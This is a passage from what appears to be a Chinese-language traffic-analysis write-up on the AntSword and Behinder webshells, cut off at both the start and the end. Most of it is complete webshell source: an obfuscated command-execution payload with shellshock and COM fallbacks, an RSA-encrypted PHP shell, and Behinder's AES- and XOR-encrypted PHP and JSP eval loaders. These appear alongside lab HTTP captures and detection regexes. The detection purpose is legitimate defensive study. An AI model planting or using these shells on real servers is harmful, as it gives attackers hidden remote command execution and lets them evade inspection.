Connection: close
ant=%40eval(%40str_rot13(%24_POST%5B's35d294f6a1f89'%5D))%3B&s35d294f6a1f89=%40vav_frg(%22qvfcynl_reebef%22%2C%20%220%22)%3B%40frg_gvzr_yvzvg(0)%3B%24bcqve%3D%40vav_trg(%22bcra_onfrqve%22)%3Bvs(%24bcqve)%20%7B%24bpjq%3Dqveanzr(%24_FREIRE%5B%22FPEVCG_SVYRANZR%22%5D)%3B%24bcnee%3Dcert_fcyvg(onfr64_qrpbqr(%22Ymg8Bv8%3D%22)%2C%24bcqve)%3B%40neenl_chfu(%24bcnee%2C%24bpjq%2Cflf_trg_grzc_qve())%3Bsbernpu(%24bcnee%20nf%20%24vgrz)%20%7Bvs(!%40vf_jevgnoyr(%24vgrz))%7Bpbagvahr%3B%7D%3B%24gzqve%3D%24vgrz.%22%2F.qn57pr453796%22%3B%40zxqve(%24gzqve)%3Bvs(!%40svyr_rkvfgf(%24gzqve))%7Bpbagvahr%3B%7D%24gzqve%3Dernycngu(%24gzqve)%3B%40puqve(%24gzqve)%3B%40vav_frg(%22bcra_onfrqve%22%2C%20%22..%22)%3B%24pagnee%3D%40cert_fcyvg(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24gzqve)%3Bsbe(%24v%3D0%3B%24v%3Cfvmrbs(%24pagnee)%3B%24v%2B%2B)%7B%40puqve(%22..%22)%3B%7D%3B%40vav_frg(%22bcra_onfrqve%22%2C%22%2F%22)%3B%40ezqve(%24gzqve)%3Boernx%3B%7D%3B%7D%3B%3Bshapgvba%20nfrap(%24bhg)%7Berghea%20%24bhg%3B%7D%3Bshapgvba%20nfbhgchg()%7B%24bhgchg%3Dbo_trg_pbagragf()%3Bbo_raq_pyrna()%3Brpub%20%223nr4%22.%22rssn2%22%3Brpub%20%40nfrap(%24bhgchg)%3Brpub%20%22o42935%22.%22346781%22%3B%7Dbo_fgneg()%3Bgel%7B%24Q%3Dqveanzr(%24_FREIRE%5B%22FPEVCG_SVYRANZR%22%5D)%3Bvs(%24Q%3D%3D%22%22)%24Q%3Dqveanzr(%24_FREIRE%5B%22CNGU_GENAFYNGRQ%22%5D)%3B%24E%3D%22%7B%24Q%7D%09%22%3Bvs(fhofge(%24Q%2C0%2C1)!%3D%22%2F%22)%7Bsbernpu(enatr(%22P%22%2C%22M%22)nf%20%24Y)vs(vf_qve(%22%7B%24Y%7D%3A%22))%24E.%3D%22%7B%24Y%7D%3A%22%3B%7Dryfr%7B%24E.%3D%22%2F%22%3B%7D%24E.%3D%22%09%22%3B%24h%3D(shapgvba_rkvfgf(%22cbfvk_trgrtvq%22))%3F%40cbfvk_trgcjhvq(%40cbfvk_trgrhvq())%3A%22%22%3B%24f%3D(%24h)%3F%24h%5B%22anzr%22%5D%3A%40trg_pheerag_hfre()%3B%24E.%3Dcuc_hanzr()%3B%24E.%3D%22%09%7B%24f%7D%22%3Brpub%20%24E%3B%3B%7Dpngpu(Rkprcgvba%20%24r)%7Brpub%20%22REEBE%3A%2F%2F%22.%24r-%3EtrgZrffntr()%3B%7D%3Bnfbhgchg()%3Bqvr()%3BHTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:55:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 173
Connection: close
Content-Type: text/html
3ae4effa2C:/Users/sangfor/Desktop/phpstudy2018/PHPTutorial/WWW C:D: Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 sangforb42935346781
特征:@eval(@str_rot13($_POST['s35d294f6a1f89']));
执行命令
<?php
@ini_set("display_errors", "0"); // 关闭错误显示
@set_time_limit(0); // 设置脚本执行时间为无限制
$opdir = @ini_get("open_basedir"); // 获取 open_basedir 的值
if ($opdir) { // 如果 open_basedir 被设置
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); // 将 open_basedir 的值按分隔符分割成数组
@array_push($oparr, $ocwd, sys_get_temp_dir()); // 将当前目录和临时目录添加到数组中
foreach ($oparr as $item) { // 遍历每个路径
if (!@is_writable($item)) { // 检查路径是否可写
continue; // 如果不可写,跳过
}
$tmdir = $item . "/.aab3ff5b3398"; // 创建一个临时目录
@mkdir($tmdir); // 尝试创建临时目录
if (!@file_exists($tmdir)) { // 如果临时目录不存在
continue; // 跳过
}
$tmdir = realpath($tmdir); // 获取临时目录的真实路径
@chdir($tmdir); // 切换到临时目录
@ini_set("open_basedir", ".."); // 设置 open_basedir 为上级目录
$cntarr = @preg_split("/\\\\|\//", $tmdir); // 将路径分割为数组
for ($i = 0; $i < sizeof($cntarr); $i++) { // 遍历路径数组
@chdir(".."); // 切换到上级目录
}
@ini_set("open_basedir", "/"); // 重置 open_basedir
@rmdir($tmdir); // 删除临时目录
break; // 退出循环
}
}
function asenc($out) { // 定义 asenc 函数
return $out; // 返回输出
}
function asoutput() { // 定义 asoutput 函数
$output = ob_get_contents(); // 获取输出缓冲区的内容
ob_end_clean(); // 清空输出缓冲区
echo "86407" . "bce15"; // 输出前缀
echo @asenc($output); // 输出内容
echo "05741" . "7b412b"; // 输出后缀
}
ob_start(); // 开始输出缓冲
try {
$p = base64_decode(substr($_POST["b307445bb1621a"], 2)); // 解码 POST 数据
$s = base64_decode(substr($_POST["fff3beb202f45d"], 2)); // 解码 POST 数据
$envstr = @base64_decode(substr($_POST["p28b7b2472e635"], 2)); // 解码环境变量
$d = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\""; // 根据目录格式设置命令
if (substr($d, 0, 1) == "/") { // 如果是 Unix 系统
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); // 设置 PATH 环境变量
} else { // 如果是 Windows 系统
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;"); // 设置 PATH 环境变量
}
if (!empty($envstr)) { // 如果环境变量不为空
$envarr = explode("|||asline|||", $envstr); // 分割环境变量
foreach ($envarr as $v) { // 遍历环境变量数组
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v)); // 设置环境变量
}
}
}
$r = "{$p} {$c}"; // 构建命令
function fe($f) { // 定义 fe 函数
$d = explode(",", @ini_get("disable_functions")); // 获取禁用的函数
if (empty($d)) {
$d = array(); // 如果没有禁用函数,初始化为空数组
} else {
$d = array_map('trim', array_map('strtolower', $d)); // 将禁用函数转换为小写并去除空格
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d)); // 检查函数是否可用
}
function runshellshock($d, $c) { // 定义 runshellshock 函数
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) { // 检查条件
if (strstr(readlink("/bin/sh"), "bash") != FALSE) { // 检查是否使用 bash
$tmp = tempnam(sys_get_temp_dir(), 'as'); // 创建临时文件
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1"); // 设置环境变量并执行命令
if (fe('error_log')) {
error_log("a", 1); // 记录错误日志
} else {
mail("a@127.0.0.1", "", "", "-bv"); // 发送邮件
}
} else {
return False; // 如果不是 bash,返回 False
}
$output = @file_get_contents($tmp); // 获取命令输出
@unlink($tmp); // 删除临时文件
if ($output != "") {
print($output); // 输出结果
return True; // 返回 True
}
}
return False; // 返回 False
}
function runcmd($c) { // 定义 runcmd 函数
$ret = 0; // 初始化返回值
$d = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录
if (fe('system')) {
@system($c, $ret); // 使用 system 执行命令
} elseif (fe('passthru')) {
@passthru($c, $ret); // 使用 passthru 执行命令
} elseif (fe('shell_exec')) {
print(@shell_exec($c)); // 使用 shell_exec 执行命令并输出
} elseif (fe('exec')) {
@exec($c, $o, $ret); // 使用 exec 执行命令
print(join("\n", $o)); // 输出结果
} elseif (fe('popen')) {
$fp = @popen($c, 'r'); // 使用 popen 打开进程
while (!@feof($fp)) {
print(@fgets($fp, 2048)); // 输出结果
}
@pclose($fp); // 关闭进程
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); // 使用 proc_open 打开进程
while (!@feof($io[1])) {
print(@fgets($io[1], 2048)); // 输出标准输出
}
while (!@feof($io[2])) {
print(@fgets($io[2], 2048)); // 输出标准错误
}
@fclose($io[1]); // 关闭标准输出
@fclose($io[2]); // 关闭标准错误
@proc_close($p); // 关闭进程
} elseif (fe('antsystem')) {
@antsystem($c); // 使用 antsystem 执行命令
} elseif (runshellshock($d, $c)) {
return $ret; // 如果 runshellshock 成功,返回结果
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) { // 如果是 Windows 系统并且 COM 类存在
$w = new COM('WScript.shell'); // 创建 WScript.shell 对象
$e = $w->exec($c); // 执行命令
$so = $e->StdOut(); // 获取标准输出
$ret .= $so->ReadAll(); // 读取标准输出
$se = $e->StdErr(); // 获取标准错误
$ret .= $se->ReadAll(); // 读取标准错误
print($ret); // 输出结果
} else {
$ret = 127; // 返回 127 表示命令未找到
}
return $ret; // 返回执行结果
}
$ret = @runcmd($r . " 2>&1"); // 执行命令并捕获输出
print($ret != 0) ? "ret={$ret}" : ""; // 如果返回值不为 0,输出结果
} catch (Exception $e) { // 捕获异常
echo "ERROR://" . $e->getMessage(); // 输出错误信息
}
asoutput(); // 调用 asoutput 函数
die(); // 终止脚本
&b307445bb1621a=E9Y21k&fff3beb202f45d=mtY2QgL2QgIkM6XFxVc2Vyc1xcc2FuZ2ZvclxcRGVza3RvcFxccGhwc3R1ZHkyMDE4XFxQSFBUdXRvcmlhbFxcV1dXIiZpcGNvbmZpZyZlY2hvIDJhZTY2YzI4YmImY2QmZWNobyBhMjU2ZmJkZA==&p28b7b2472e635=8t
使用system、passthru、shell_exec、exec、antsystem函数执行命令
命令被放入
$p = base64_decode(substr($_POST["b307445bb1621a"], 2)); // 解码 POST 数据
$s = base64_decode(substr($_POST["fff3beb202f45d"], 2)); // 解码 POST 数据
中,可以提取解密出来:$p为解密为cmd, $s为目录加执行的命令
b307445bb1621a=E9Y21k&fff3beb202f45d=mtY2QgL2QgIkM6XFxVc....
特征可以是:Y21k后的变量值的长度为4的倍数+2
文件上传:
文件内容使用16进制编码
RSA编码:(仅支持php)
打开RSA编码器设置-->编码管理-->新建编码器-->PHP RSA
生成编码器之后再点击RSA 配置-->生成
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCWEJT9F3uIOzWCbdclMbESZKoX
2d13AMPJWhA6xHAZYsPYUlJmChq7vrTsS7dz5bZwf4Nr00DqFm0WLlsk9Elin+j6
5CASHdjrxvUlEWYU0tctJJdFJgLsOLYvOX2c+/1PBt2MQedR4ej9DgYMaHdxmuUn
SHez/NMIUfKlJPnRzQIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);
将此webshell上传后连接:
POST /rsa_php.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Content-Length: 2808
Connection: close
ant=tUOuE3iZlLIrBUtL6nyTFabqW0aScu1P9qoZS2eF2Tqa6zx%2F5HuNBi87B06hOICOMg5uh9PfzyBEHlRHdyMckUstZ%2FVlJZ0dP3oEsE06GUfeSDZF%2BvEs%2FUzu14xSAcU1A25lCsVqhXvRrhPBEp9mH6eEfcrOanI9wPyFkRpjBuE%3D%7Ccd46ISiiFRiXQOgpjWHiLD7EaizSPdZJNpwAszcYOihkK7ogiy0swPYkERlqSxuDm1yEn1psI3ssAUMX5ikGXZs5XCZFGkQZUE2KzCRVoBvQDZG8r2Ck5WAFbyGeD4NCBQGvM7%2Fsvbo5Q8jL4ErU%2FqbEwoXmjaaiCkxdrEJRs1Q%3D%7CKYAfis%2Bm02lHL2YoVgYFGQncJXnRKXkdsyS6bFJ1B4INpoEgCb258U7WFsFvX3Y9vxEUxSb5t%2BGexoeqC6HjLgsqJraDYR0g0N9i%2BGWCbWmIEQ1wpLGky21%2BEZEa1khGZTE%2Fs1jyGo3smXhPNuaaUrKeNUhrap%2Fbs%2FGMrRVKT2Y%3D%7CHONxx59tkRiw35l1ENoA3c51SOU7gCOqpRqVEI4rUV0puh5bW0eQ68ddBmxIIXnpr3txnS2zXdYsfgs%2BnG6duqG5G2A6YEmZomfXVMZU1kthzDC2qJlz8IFclGvIOVdpZdCMFOyV1r%2Fzj5C%2BPKg9Vo5FZNtyoiG%2BWBOT5m%2F4bXo%3D%7Cm5DzPABDKtwDzfIDLiOQ5sYjjS1OPh1lN3ypOImOsYcqGPLNcwB0tpsGsCAbXuAuisMy3Bx2wEyOBLJ%2BGmoVzP3WCjgdRilmdLfsJgZmRsKwJ1iUbNSzKOek4SYf%2Bt3K2Hg626B3rXHUBhn2QZ9GqAbPaol%2BuMJpkNkUFO7xH4E%3D%7CyX3iXL1j8tVluKj9A%2BvAaX2p8Ub9Df3TwIlDioCwYeBSVgeQsZWBvgUXuF2WImgyuVG9GtZFopLr9dsB0XFoY4UCCeiYssyEn9hItaeUq38ILHK%2FT8WqoU1u9S%2BezDo%2FZKwxXyx1oyljScwbzdPVWAnJUEODEDzgL1PijmKcie4%3D%7CGiQDYAK7xhv9XIDmLCSzf52SqV8YSAudRS9JvGRb%2FzHJZB2a%2BgQC1hycsnax5w2VvrFy1PyytucujBO9MZ%2FRDYxezK8EJGCRFAWckVlYB93RHOhsjFqqDN1FZZHTu%2F3X%2BFDe7tNKcEQ1diDj%2F7E8%2FjFGgVr1PB0TN22Q%2BTma8yg%3D%7CnUQNSKkYO%2FJvWu3yQhcVmKF%2BNLYcVCwLJ6UdJcs6Y75OnLagPsEjPqVCgTtUJsEBHSt0Ty7uAdwmbxjnli4u%2Fh8OKFl16yKJhL7r%2FgE5H%2F%2BVfrSbjAI%2FjrrNZkrrW5J8S%2B0ZN7VC8Dp3DUTmft6GjAOmRdO%2FrEVv1iKNLzVVrn4%3D%7CXEmsRuuOuaDSpENOBCzsPS8dHtPBfg3T9IMtgK3OT2i72dJXa%2FP%2FlN9hf7Bzsrt7hLKc%2F%2FeV9DxPWbXeMaGN3Hc9MhfXSiWsgOoE0wIOxrZ0uDfMk8ObjFGv%2BKbVofJ8LJ14lrKyLqfU2vV37gpLU7tmR19hOhSefVadUH%2B6r1o%3D%7CdTKVs0E3EE7%2BdvuDKqZZy7ifBpuNnEfUEGeSxD1s6ji2yUzw6bqCRHzAmE6J1QqVhqiwdjqKu5qYk0Odwq8d3T%2Fwxw6Z8bNTeoCuRsogjmUpitVL%2BvYeT%2FfP4QnB77FJVyBBFNNO1VBQkz6G1sBYilLVOMcrYoWMHZNzLhMiMhk%3D%7CBUk992sl09tHfnenETQ1hBT%2BtTgM5fE7AjY729djokzfnuRlF1%2ByzuXQHzQD5KX8BzZwXEwzPTT0TBzd3bc57NEECFLsXTMLREkUbv0xWqzVPj179FioDYrLzaLYkAaEDRgiB7By2UzGBU83MT75Vja0%2Bjx6JJAHBqp71xZRAIU%3D%7CPsxa78BZ6g2Tle8NaFKWNSdSFFycQ8BRLq1M5k7jhM%2FKW6azwOMtGKSDKvU7Hm7eughbuQlNtiHVJv%2BElHBn5qxCBr%2BqGJjUKH6ffsmbrMs52fxVwkPSJp%2FdqZhnfPixxX12Ryxsz8yduf%2BCSlvlB%2FgXLVU3FTLAW9Vd3I7%2FPTA%3D%7CVTBqaKARxRK0PEr%2Bd8QFTYaCcE7vDNQ3G20dluhPoSnu0OC3O0xid4LIh57W7aM8ITGZnhlkSPtmzOOLWnQFj4SOTm8peJrGgyxktOtDzVjBXPRt0f82Jmv0Ek%2BB1HAml3qGf%2BdDGjz4wdboMc6b1NdxZHyoizun9UZ5C93hFT8%3D%7Ccpow0xrTLzGycLCMbXQ7U80Q1yHfcijKnI%2BTT88oEw5pkrxuuu1RC0RE6wnlrcRZh7zXi9T0paAqXvfBH0kqPFqgqzkCwdBxfLC%2BkwgblZUUW%2BMT6Iav8Hxj7Kh0%2F1SP7gMNDNtpLeqzNcOeLoyuQqbPbQyz5hEUclkP%2B6FiKTU%3D%7CXjlO1XcHqWep1aBbW%2B32Tyi0L7M6sCrryo4FLIhv%2BDLv4kdC1pXr1PhXMeOtp1mUB9mIq8BcDq8AqNs61D5LshxAFMSwhN52Fev9b2WY%2FdsqG54occfMDFVAoV9zC0zoQ5gf%2F%2FhshFLXMZmpAd7N3zrNIfL2IvXdSQQx0%2B7E5N8%3D
如果php没有开启OpenSSL则会连接报错
HTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 03:11:25 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 181
Connection: close
Content-Type: text/html
<br />
<b>Fatal error</b>: Call to undefined function openssl_pkey_get_public() in <b>C:\Users\sangfor\Desktop\phpstudy2018\PHPTutorial\WWW\rsa_php.php</b> on line <b>12</b><br />
正常连接返回
Date: Tue, 15 Oct 2024 02:55:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 173
Connection: close
Content-Type: text/html
3ae4effa2C:/Users/sangfor/Desktop/phpstudy2018/PHPTutorial/WWW C:D: Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 sangforb42935346781
可以看到请求无明显特征,看看是怎么加密的
/**
* php::RSA编码器
* Create at: 2024/10/15 10:58:53
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
let n = Math.ceil(data['_'].length / 80);
let l = Math.ceil(data['_'].length / n);
let r = []
for (var i = 0; n > i; i++) {
r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
}
data[pwd] = r.join("|");
delete data['_'];
return data;
}
可以看到每块数据使用了|进行连接,此时可以判断请求是否有base64编码且有多个|,且每个|之间的字符长度一样为172
使用rsa可能对目前环境要求高,但是请求没有明显特征
流量特征
冰蝎4
原理
//如何通过自定义class字节流调用函数执行命令
//classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法
//动态将class字节流编译执行,并调用重写的方法
import sun.misc.BASE64Decoder;
public class javawebshelltest {
public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b)
{
return super.defineClass(b, 0, b.length);
}
}
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
BASE64Decoder code=new sun.misc.BASE64Decoder();
Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
System.out.println(result.newInstance().toString()); // classStr重写了toString函数,弹用了计算器
System.out.println(result.toString());
}
}
//toString方法内部没办法访问Request、Response、Seesion等servlet相关对象
//查看Object中类所有的方法,发现equals方法可以传入一个object,可以将pageContext传入进去,通过pageContext可以调用Request、Response、Seesion等
//ClassLoader和pageContext类不在同一路径会导致在equals中访问这些类会出现java.lang.ClassNotFoundException异常,可以增加一个构造函数,将ClassLoader 传入进去,将自定义传入的类作为父类加载器,这样就可以通过自定义类找到其他类,而不是使用ClassLoader类型去查找
<%@ page
import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
/*
定义ClassLoader的子类Myloader
*/
public static class Myloader extends ClassLoader {
public Myloader(ClassLoader c)
{super(c);} // 调用父类构造函数,传入当前的类加载器
public Class get(byte[] b) { // 定义get方法,用来将指定的byte[]传给父类的defineClass
return super.defineClass(b, 0, b.length); // 调用父类的defineClass方法,将字节数组转换为Class对象
}
}
%>
<%
if (request.getParameter("pass")!=null) { // 判断请求方法是否带有密码的握手请求,此处只用参数名作为密码,参数值可以任意指定
String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16); // 随机生成一个16字节的密钥
request.getSession().setAttribute("uid", k); // 将密钥写入当前会话的Session中
out.print(k); // 将密钥发送给客户端
return; // 执行流返回,握手请求时,只产生密钥,后续的代码不再执行
}
/*
当请求为非握手请求时,执行下面的分支,准备解密数据并执行
*/
String uploadString= request.getReader().readLine(); // 从request中取出客户端传过来的加密payload
Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); // 把payload进行base64解码
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); // 从Session中取出密钥并初始化解密模式
Byte[] classData= c.doFinal(encryptedData); // AES解密操作,得到原始的class字节数组
Object myLoader= new Myloader().get(classData).newInstance(); // 通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化
String result= myLoader.equals(pageContext); // 调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中,将执行结果通过equals中利用response对象返回。
%>
php
<?php
// 开始一个新的会话或继续现有的会话
session_start();
// 检查 URL 中是否存在 'pass' 参数
if (isset($_GET['pass'])) {
// 生成一个随机的密钥,使用 md5 和 uniqid 组合
$key = substr(md5(uniqid(rand())), 16);
// 将生成的密钥存储在会话变量中
$_SESSION['k'] = $key;
// 输出生成的密钥
print $key;
} else {
// 从会话中获取之前存储的密钥
$key = $_SESSION['k'];
// 从请求的输入流中读取加密内容并进行解密
$decrptContent = openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
// 将解密后的内容按 '|' 分割成数组
$arr = explode('|', $decrptContent);
// 获取数组中的第一个元素作为函数名
$func = $arr[0];
// 获取数组中的第二个元素作为参数
$params = $arr[1];
// 调用函数并传递参数
$func($params);
}
?>
冰蝎一句话加密函数分析
xor
php
<?php
// 关闭错误报告,避免显示任何错误信息
@error_reporting(0);
// 从输入流中读取数据并进行解密,从请求的原始输入流中读取数据,通常用于获取 POST 请求的内容。
$post = Decrypt(file_get_contents("php://input"));
// 执行解密后的代码
eval($post);
?>
jsp
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
// 定义一个密钥,用于解密操作
String key="e45e329feb5d925b";
// 遍历输入的字节数组
for (int i = 0; i < data.length; i++) {
// 使用异或操作解密数据,key.getBytes()[i + 1 & 15] 取密钥的字节
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
// 返回解密后的字节数组
return data;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
// 创建一个字节数组输出流,用于存储读取到的数据
ByteArrayOutputStream bos = new ByteArrayOutputStream();
// 定义一个缓冲区,大小为512字节
byte[] buf = new byte[512];
// 从请求输入流中读取数据,返回读取的字节数
int length=request.getInputStream().read(buf);
// 当读取到的数据长度大于0时,继续读取
while (length>0)
{
// 复制当前读取到的字节数据
byte[] data= Arrays.copyOfRange(buf,0,length);
// 将读取到的数据写入字节数组输出流
bos.write(data);
// 继续从输入流中读取数据
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容性
out.clear();
out=pageContext.pushBody();
*/
// 清空输出流
out.clear();
// 将当前页面上下文推入输出流
out=pageContext.pushBody();
// 使用自定义类加载器 U 解密读取到的字节数据,并实例化该类
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);
}
%>
xor_base64
php
<?php
@error_reporting(0); // 关闭错误报告,避免在执行过程中显示错误信息
function Decrypt($data) // 定义一个名为 Decrypt 的函数,接受一个参数 $data
{
$key="e45e329feb5d925b"; // 定义一个密钥,用于解密
$bs="base64_"."decode"; // 创建一个字符串,表示 base64 解码函数的名称
$after=$bs($data.""); // 对输入的数据进行 base64 解码,并将结果赋值给 $after
for($i=0;$i<strlen($after);$i++) { // 遍历解码后的字符串
$after[$i] = $after[$i]^$key[$i+1&15]; // 使用异或运算对每个字符进行解密,密钥的索引通过与运算限制在 0-15 之间
}
return $after; // 返回解密后的字符串
}
$post=Decrypt(file_get_contents("php://input")); // 从输入流中读取数据,解密后赋值给 $post
eval($post); // 执行解密后的 PHP 代码
?>
安装使用
在传输协议中选择协议名称,然后生成服务端,这个就是webshell
上传后进行连接,选择自定义,密码就是webshell中的密钥
连接成功后会执行phpinfo并返回
冰蝎首先会发起一个测试连接
可根据
['request_url']: \.(php|jsp|asp|jspx|asa)\?(\w){1,15}=\d{2,3}$
['response_body']: [a-z0-9]{16}$
进行特征识别
流量分析
传输协议使用xor_base64进行分析,客户端的加解密函数对asp jsp php 都是一样的,使用PHP环境进行分析
服务端解密webshell:
<?php
@error_reporting(0); // 关闭错误报告,避免在执行过程中显示错误信息
function Decrypt($data) // 定义一个名为 Decrypt 的函数,接受一个参数 $data
{
$key="e45e329feb5d925b"; // 定义一个密钥,用于解密
$bs="base64_"."decode"; // 创建一个字符串,表示 base64 解码函数的名称
$after=$bs($data.""); // 对输入的数据进行 base64 解码,并将结果赋值给 $after
for($i=0;$i<strlen($after);$i++) { // 遍历解码后的字符串
$after[$i] = $after[$i]^$key[$i+1&15]; // 使用异或运算对每个字符进行解密,密钥的索引通过与运算限制在 0-15 之间
}
return $after; // 返回解密后的字符串
}
$post=Decrypt(file_get_contents("php://input")); // 从输入流中读取数据,解密后赋值给 $post
eval($post); // 执行解密后的 PHP 代码
?>
客户端加密函数
private byte[] Encrypt(byte[] data) throws Exception
{
// 定义一个密钥,长度为16个字节(128位)
String key = "e45e329feb5d925b";
// 对输入的字节数组进行异或加密
for (int i = 0; i < data.length; i++) {
// 将每个字节与密钥的相应字节进行异或操作
// key.getBytes()[i + 1 & 15] 取密钥的字节,使用 & 15 确保索引在 0 到 15 之间循环
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
byte[] encrypted; // 声明一个字节数组用于存储加密后的数据
Class baseCls; // 声明一个 Class 对象用于反射
try
{
// 尝试使用 java.util.Base64 类进行 Base64 编码
baseCls = Class.forName("java.util.Base64");
Object Encoder = baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
// 调用 Base64 编码器的 encode 方法对加密后的数据进行编码
encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
}
catch (Throwable error)
{
// 如果 java.util.Base64 不可用,则使用 sun.misc.BASE64Encoder 作为备选方案
baseCls = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = baseCls.newInstance();
// 调用 BASE64Encoder 的 encode 方法进行编码
String result = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
// 去除编码结果中的换行符
result = result.replace("\n", "").replace("\r", "");
// 将结果转换为字节数组
encrypted = result.getBytes();
}
// 返回加密并编码后的字节数组
return encrypted;
}
客户端解密函数
private byte[] Decrypt(byte[] data) throws Exception
{
// 声明一个字节数组,用于存储解码后的字节
byte[] decodebs;
// 声明一个类对象,用于动态加载类
Class baseCls;
try {
// 尝试加载 java.util.Base64 类
baseCls = Class.forName("java.util.Base64");
// 获取 Base64 类的解码器实例
